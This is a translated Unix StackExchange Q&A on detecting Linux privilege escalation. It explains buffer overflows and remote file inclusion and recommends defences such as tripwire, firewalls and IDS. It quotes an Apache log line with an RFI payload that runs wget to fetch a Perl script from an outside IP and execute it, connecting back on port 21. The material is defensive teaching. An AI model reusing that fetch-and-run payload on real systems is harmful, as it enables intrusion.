Linux

權限提升檢測?

  • April 7, 2019

每次我讀到一些本地權限提升漏洞(例如this)時。

我想知道作業系統是否可以檢測到有人以 root 身份登錄(或新的 root 程序啟動)?想像一個準備有配置的 Gnu/Linux 機器,如果 root 登錄到它(或檢測到一些利用來獲得 root 權限),機器將自行中斷/關閉,並且備份機器(具有不同配置)將啟動或管理員將通知…

我的想法是否有意義,或者大多數漏洞由於其性質而無法檢測到?

漏洞利用的本質是試圖不被發現。因此,大多數漏洞利用都不是通過正常方式進入系統的,至少最初不是。他們通常會使用諸如緩衝區溢出之類的東西來訪問系統。

緩衝區溢出

這種攻擊方式會尋找應用程序中想要從使用者那裡獲取輸入的部分。考慮一個網頁和各種文本框,您必須通過在這些文本框中輸入內容來提供資訊。這些文本框中的每一個都是潛在攻擊者的潛在入口點。

好消息:

  • 這些攻擊中的大多數都沒有獲得 root 訪問權限,它們正在獲得對專門為 Web 伺服器設置的使用者帳戶的訪問權限,因此它通常只能有限地訪問 Web 伺服器文件和功能。

  • 在闖入攻擊者的一些領域留下了相當大的痕跡。

    • 防火牆日誌
    • 網路伺服器日誌
    • 其他潛在的安全工具日誌

壞消息:

  • 他們已經獲得了對系統的訪問權限,因此有了一個灘頭陣地,他們可以繼續嘗試進一步闖入。
  • 日誌。是的,鑑於分析日誌既費時又容易出錯,因此大多數時間在數週/數月/數年內都不會檢測到入侵。

檢測root登錄

大多數係統都設計為不允許 root 登錄,因此這種攻擊媒介並不是真正的問題。大多數攻擊可以訪問其他一些較低級別的帳戶,然後在他們在您的系統上建立灘頭陣地後通過發現其他漏洞來利用。

範例#1:

攻擊者可以通過執行以下操作獲得 root 訪問權限:

  1. 通過找到一個易受攻擊的網頁,通過文本框處理使用者從某種形式的輸入,從而侵入系統的 Web 伺服器帳戶。
  2. 一旦獲得對 Web 伺服器帳戶的訪問權限,請嘗試通過 Web 伺服器的帳戶獲得 shell 訪問權限,或者嘗試讓 Web 伺服器帳戶代表您執行命令。
  3. 確定此特定係統版本的工具(例如 command )存在弱點ls
  4. 溢出工具ls以獲取對 root 帳戶的訪問權限。

範例#2:

潛在的攻擊者甚至可能對完全控制您的系統不感興趣。大多數闖入者只對收集系統作為其他用途的“奴隸”感興趣。攻擊者通常只對在您的系統上安裝他們的軟體感興趣,以便他們可以使用系統,甚至沒有獲得對系統的完全控制權。

  1. 確定某個網站提供了 webapp X。攻擊者知道 webapp X 有一個漏洞,webapp X 允許使用者上傳圖像文件。
  2. 攻擊者準備一個名為CMD.gif並上傳的文件。例如,可能是論壇網站上的使用者頭像。但CMD.gif不是圖像,它實際上是一個程序,名為CMD.gif.
  3. 攻擊者將“圖像”上傳到論壇站點。
  4. 現在攻擊者“欺騙”webapp X 執行他的“圖像”。
  5. 攻擊者使用他的瀏覽器呼叫 webapp X,但他以 webapp X 的作者從未想像過的方式呼叫它。他們也沒有設計 webapp X 來禁止它。

此類攻擊的 Web 伺服器日誌文件

201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
 "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
 &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
 %2072.36.21.183%2021 HTTP/1.1" 200

**注意:**來自 Apache Web 伺服器的範例日誌由OSSEC.net提供。

在這裡,攻擊者正在讓 webapp X (index.php) 執行CMD.gif,然後可以執行以下操作:

  1. cd /tmp
  2. wget http://72.36.254.26/~fanta/dc.txt
  3. perl dc.txt 72.36.21.183 21

因此,他們誘使 webapp X 將目錄更改為/tmp,下載文件,dc.txt然後執行該文件,在埠 21 上建立與 IP 地址 72.36.21.183 的連接。

禁用“受損”伺服器

您可以關閉已“檢測到”漏洞利用的伺服器的想法是一個很好的嘗試,但由於幾個原因它不起作用。

  1. 如果攻擊者可以進入第一個系統,那麼他們很可能可以進入第二個系統。
  2. 大多數係統本質上是彼此的複製。它們更易於維護,並且保持簡單(相同)是 IT 和電腦中大多數事物的標誌。
  3. 不同的配置意味著維護系統需要更多的工作和更多的出錯機會,這通常是導致漏洞的原因。
  4. 攻擊者的目標可能不是闖入,他們可能試圖拒絕訪問您的服務。這稱為拒絕服務 (DoS)

試圖限制傷害

我可以繼續說下去,但總的來說,在保護系統方面你有一些可用的資源。

  • 使用tripwire等工具來檢測系統文件系統上的更改。
  • 防火牆 - 限制訪問,以便僅在需要時明確允許,而不是完全訪問所有內容。
  • 使用工具分析日誌文件以檢測異常。
  • 使用更新檔使系統保持最新狀態。
  • 限制暴露——只安裝系統上需要的軟體——如果不需要gcc安裝編譯器,就不要安裝它。
  • IDS - 入侵檢測軟體。

引用自:https://unix.stackexchange.com/questions/76766